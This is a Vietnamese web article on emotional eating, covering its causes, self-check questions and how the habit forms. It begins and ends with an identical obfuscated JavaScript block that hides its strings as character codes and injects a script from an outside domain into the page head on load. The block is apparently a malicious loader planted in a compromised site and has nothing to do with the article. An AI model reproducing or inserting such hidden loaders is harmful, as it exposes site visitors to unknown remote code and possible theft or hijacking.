Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Ăn uống theo cảm xúc và cách phòng ngừa

Bạn ăn để cảm thấy tốt hơn hoặc giảm căng thẳng? Những thông tin trong bài viết này của Jade House (www.jadehousevn.com) có thể giúp tìm hiểu tác hại của ăn uống theo cảm xúc, giúp bạn ngừng ăn uống theo cảm xúc, chống lại cảm giác thèm ăn, xác định các yếu tố kích hoạt và tìm ra những cách thỏa mãn hơn để nuôi cảm xúc của bạn.

Xem thêm

Những kích thích ăn uống theo cảm xúc
Từ bỏ ăn uống theo cảm xúc
Cơn đói cảm xúc và cơn đói thể chất

Ăn uống theo cảm xúc trong lối sống hiện đại

Bạn đã bao giờ ăn để cảm xúc của mình trở nên vui vẻ, hạnh phúc hơn hay để giảm căng thẳng? Bởi vì mỗi người luôn hội tụ đầy đủ năm cảm xúc vui vẻ (joy), giận dữ (anger), chán ghét (disgust), sợ hãi (fear) và buồn bã (sadness).

Những lời khuyên sau đây của Jade House có thể giúp bạn ngừng ăn uống theo cảm xúc, chống lại cảm giác thèm ăn vô độ, xác định các yếu tố kích thích cảm xúc tích cực và tìm ra những phương thức để nuôi dưỡng cảm xúc của bạn.

Ăn uống theo cảm xúc là gì?

Hầu hết chúng ta luôn luôn không ăn uống chỉ để thỏa mãn cơn đói thể chất. Trong nhiều trường hợp, chúng ta lựa chọn thức ăn để có thể cảm thấy thoải mái, giảm căng thẳng và để tự nuông chiều bản thân mình. Và cảm xúc này dẫn dắt chúng ta theo xu hướng tiếp cận với đồ ăn vặt, đồ ngọt và các thực phẩm tạo cảm giác hưng phấn. Phần lớn những loại thực phẩm, đồ ăn trên đều dư thừa calo, nhiều đường bột và chất béo bão hòa.

Những thói quen ăn uống theo cảm xúc luôn hiện hữu trong đời sống hàng ngày. Bạn sẵn sàng ngấu nghiến một cốc kem chỉ để thỏa mãn cơn nóng giận của chính mình, đặt một chiếc bánh pizza nếu bạn cảm thấy buồn chán hoặc cô đơn trong chính cuộc sống của mình, hoặc sẵn sàng đặt một bữa ăn sang chảnh tại một nhà hàng cao cấp để được tung hô, hãnh diện trên mạng xã hội. Ăn uống theo cảm xúc là thói quen sử dụng thức ăn để giải tỏa căng thẳng, tạo cảm giác vui vẻ, hưng phấn. Thói quen ăn uống theo cảm xúc này đáp ứng như cầu tình cảm thay vì thỏa mãn cơn đói thể chất. Ngoài những loại thực phẩm được cho là có thể cung cấp năng lượng cảm xúc như trà xanh có chứa caffein giúp giảm triệu chứng trầm cảm sau sinh hay L – theamin giúp tăng cường khả năng tập trung của não bộ, hay omega – 3 và DHA trong cá hồi giúp giảm căng thẳng, phần lớn đồ ăn nhanh đều làm tăng nguy cơ béo phì, tiểu đường. Thói quen ăn uống theo cảm xúc không giúp chúng ta giải quyết được vấn đề tình cảm. Ngược lại, thói quen này còn khiến bạn cảm thấy tồi tệ hơn và khiến bạn ăn nhiều hơn. Sau đó, không chỉ vấn đề tình cảm bị trì trệ, bạn còn cảm thấy tội lỗi vì ăn quá nhiều.

  • Bạn có phải là người ăn uống theo cảm xúc?
  • Bạn có ăn nhiều hơn khi bạn cảm thấy căng thẳng?
  • Bạn có ăn khi bạn không đói hoặc khi bạn no?
  • Bạn có ăn để cảm thấy tốt hơn (để bình tĩnh và xoa dịu bản thân khi bạn buồn, giận dữ, buồn chán, lo lắng, căng thẳng …) không?
  • Bạn có tự thưởng cho mình đồ ăn yêu thích không?
  • Bạn có thường xuyên ăn uống một cách không kiểm soát?
  • Đồ ăn có làm bạn cảm thấy hạnh phúc không? Bạn có cảm thấy đồ ăn giống như một người bạn?

Thói quen ăn uống hình thành như thế nào?

Thỉnh thoảng, bạn tự thưởng cho bản thân hoặc ăn mừng cho bằng những món ăn yêu thích hoặc đắt tiền không hẳn là một điều xấu. Nhưng khi việc ăn uống là cơ chế đối phó cảm xúc chính của bạn, khi mà sự thôi thúc đầu tiên của bạn là mở tủ lạnh bất cứ khi nào bạn căng thẳng, buồn bã, tức giận, cô đơn, kiệt sức hoặc buồn chán, bạn bị mắc kẹt trong một thói quen ăn uống không lành mạnh, nơi cảm giác hoặc vấn đề thực sự là không bao giờ được giải quyết.

Cơn đói cảm xúc không thể lấp đầy bằng thức ăn. Ăn uống có thể giúp bạn cảm thấy tốt trong lúc này, nhưng cảm giác kích hoạt việc ăn vẫn còn đó. Và bạn thường cảm thấy tồi tệ hơn trước đây vì lượng calo không cần thiết bạn vừa tiêu thụ. Bạn tự trách bản thân vì đã gây rối và không có ý chí. Khi đồ ăn trở thành vị cứu tinh cho những giây phút yếu đuối, hay là nguồn động lực to lớn cho những cuộc vui, niềm vui sướng trong cuộc sống.

Bạn giải quyết mọi vấn đề bằng cách ăn uống, bạn coi thức ăn giống như người bạn tri kỷ có mặt bất cứ khi nào bạn cần, luôn luôn lắng nghe mọi vấn đề khúc mắc và không hề than vãn. Thay vì học hỏi những cách lành mạnh để cân bằng cảm xúc thì bạn lựa chọn ăn uống theo cảm xúc, khi vui cũng ăn, khi buồn cũng ăn, ăn bất cứ thứ gì khiến bạn cảm thấy ổn hơn, thoải mái hơn. Dần theo thời gian, bạn càng khó kiểm soát cân nặng và càng cảm thấy bất lực về những cảm xúc đang bị trì trệ.

Cho dù bạn cảm thấy bất lực như thế nào về cảm xúc và thức ăn của mình, bạn vẫn có thể tạo ra một sự thay đổi tích cực. Bạn hoàn toàn có thể tìm và học những phương pháp cân bằng cảm xúc lành mạnh để đối phó với cảm xúc của mình, tránh các yếu tố kích thích, chinh phục cảm giác thèm ăn và cuối cùng là chấm dứt việc ăn uống theo cảm xúc.

Còn tiếp…

Xem thêm

Những kích thích ăn uống theo cảm xúc
Từ bỏ ăn uống theo cảm xúc
Cơn đói cảm xúc và cơn đói thể chất

(Dunji, Sưu tầm và biên soạn)

Digiprove sealCopyright secured by Digiprove © 2019 Tran  Minh

3 thoughts on “Ăn uống theo cảm xúc và cách phòng ngừa”

  1. Pingback: Cơn đói cảm xúc và cơn đói thể chất

  2. Pingback: Những kích thích ăn uống theo cảm xúc

  3. Pingback: Từ bỏ ăn uống theo cảm xúc

Comments are closed.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();